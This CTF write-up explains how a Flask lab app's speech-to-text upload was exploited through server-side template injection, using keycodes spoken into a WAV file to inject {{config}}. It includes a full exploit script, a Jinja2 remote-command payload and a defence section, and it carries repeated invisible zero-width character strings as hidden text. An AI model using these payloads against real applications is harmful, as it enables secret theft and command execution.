← Back to Writeups
CUSTOMMediumWeb

Джарвис (Jarvis)

XESXOR9/10/20264 min read
#web#custom#medium#flask-config-disclosure-via-{{#keycodes-bypass-for-special-ch#server-side-template-injection#voice-command-injection-throug#linux

Джарвис (Jarvis)

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-04 | Status: Solved Techniques: Flask config disclosure via {{config}}, KeyCodes bypass for special characters injection, Server-Side Template Injection (SSTI) via speech-to-text, Voice command injection through WAV file upload

Summary

Task: Flask web app with WAV file upload and speech-to-text functionality, hidden KeyCodes page mapping F-keys to special characters. Solution: SSTI via voice command injection - speak "F5 F5 config F6 F6" to inject {{config}} and leak SECRET_KEY.

Джарвис (Jarvis) - hackerlab.pro

Description

"Звонила мисс Поттс и интересовалась — вы сегодня намерены играть в супергероя или приедете в офис и займётесь серьёзной работой?"

(Miss Potts called and asked - are you going to play superhero today or come to the office and do some serious work?)

The task theme is Jarvis, Tony Stark's AI assistant from Iron Man. A hint towards voice control.

Reconnaissance

Technologies

Server: Werkzeug/2.2.2 Python/3.11.5

Flask backend with WAV file upload and speech recognition functionality. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Functionality

  1. Main page — WAV file upload form
  2. Speech-to-text — server recognizes speech and displays the result
  3. KeyCodes — hidden page /?give=keyCodes with special character mappings

KeyCodes (critical finding)

F1 = (
F2 = )
F3 = *
F4 = /
F5 = {
F6 = }
F7 = .
F8 = _
F9 = !

This means that spoken "F5" is converted to {, and "F6" to }.

Analysis

Hypothesis: SSTI via voice

Flask + Jinja2 + user input (via speech-to-text) = potential SSTI.

If the server passes recognized text directly to the template engine:

python
# Vulnerable code (presumably)
text = speech_to_text(wav_file)
return render_template_string(f"You said: {text}")

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Building the payload

For SSTI in Jinja2, curly braces {{ }} are needed. Using KeyCodes:

  • F5 F5 → {{
  • F6 F6 → }}

Payload for reading config:

F5 F5 config F6 F6  →  {{config}}

Solution

Step 1: Creating WAV with payload

python
from gtts import gTTS

# SSTI payload via voice commands
tts = gTTS(text="F5 F5 config F6 F6", lang='en')
tts.save("ssti_payload.mp3")

Step 2: Converting to WAV

bash
ffmpeg -y -i ssti_payload.mp3 -ar 16000 -ac 1 ssti_payload.wav

Step 3: Upload and exploitation

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
curl -s -X POST -F "file=@ssti_payload.wav" http://62.173.140.174:16029/

Result

The server recognized the speech as {{config}}, Jinja2 executed the expression and returned Flask config:

python
<Config {
    'SECRET_KEY': 'CODEBY{REDACTED}',
    'DEBUG': False,
    ...
}>

Full Exploitation Script

python
#!/usr/bin/env python3
"""
Jarvis SSTI via Speech-to-Text
hackerlab.pro CTF
"""

from gtts import gTTS
import subprocess
import requests
import os

TARGET = "http://62.173.140.174:16029/"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def create_payload_wav(text, filename):
    """Create WAV file with spoken payload"""
    tts = gTTS(text=text, lang='en')
    mp3_file = filename.replace('.wav', '.mp3')
    tts.save(mp3_file)
    
    # Convert to WAV (16kHz mono for better recognition)
    subprocess.run([
        'ffmpeg', '-y', '-i', mp3_file,
        '-ar', '16000', '-ac', '1', filename
    ], capture_output=True)
    
    os.remove(mp3_file)
    return filename

def upload_and_exploit(wav_file):
    """Upload WAV and get response"""
    with open(wav_file, 'rb') as f:
        files = {'file': (wav_file, f, 'audio/wav')}
        response = requests.post(TARGET, files=files)
    return response.text
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Create SSTI payload: {{config}}
# F5 F5 = {{, F6 F6 = }}
payload = "F5 F5 config F6 F6"
wav_file = create_payload_wav(payload, "ssti.wav")

# Exploit
result = upload_and_exploit(wav_file)
print(result)

# Cleanup
os.remove(wav_file)

Alternative Payloads

python
# Read SECRET_KEY directly
"F5 F5 config F7 SECRET F8 KEY F6 F6"  # {{config.SECRET_KEY}}

# RCE (if more is needed)
"F5 F5 request F7 application F7 F8 F8 globals F8 F8 F7 F8 F8 builtins F8 F8 F7 F8 F8 import F8 F8 F1 apostrophe os apostrophe F2 F7 popen F1 apostrophe id apostrophe F2 F7 read F1 F2 F6 F6"
# Hard to pronounce, but theoretically possible

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Defense

  1. Never pass user input to template engine — even if it came through speech-to-text
  2. Sanitize recognition results — filter special characters
  3. Use sandboxed Jinja2 — restrict available objects
  4. Don't store secrets in config — use environment variables
  5. Validate KeyCodes — don't convert to dangerous characters

Lessons

  1. Non-standard attack vectors — SSTI via voice is a creative approach
  2. KeyCodes as a hint — hidden page with symbol mappings indicated the injection method
  3. Task theme matters — Jarvis = voice assistant = voice commands ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

References